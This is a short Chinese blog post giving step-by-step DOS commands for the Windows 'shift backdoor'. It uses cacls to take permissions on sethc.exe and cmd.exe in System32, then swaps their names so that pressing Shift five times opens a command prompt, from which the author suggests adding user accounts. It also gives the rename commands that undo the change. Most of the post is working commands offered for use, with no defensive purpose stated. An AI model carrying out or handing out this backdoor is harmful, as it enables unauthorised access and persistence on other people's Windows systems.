版权声明：我的Github博客:https://wintrysec.github.io https://blog.csdn.net/qq_35553433/article/details/78186006
大家都知道Windows下连按5下shift键会弹出一个粘滞键。
shift后门就是把这个程序的名称和cmd互换
闲言少叙，直接上命令
1.进入这两个程序的目录
2.获取修改这两个程序的权限
3.互换文件名
DOS命令
CD C:\windows\system32
cacls sethc.exe /t /e /G Administrators:f
cacls cmd.exe /t /e /G Administrators:f
ren sethc.exe aaa.exe
ren cmd.exe sethc.exe
连续按5下shift即可召唤出cmd，自己执行添加用户的命令
恢复
ren sethc.exe cmd.exe
ren aaa.exe sethc.exe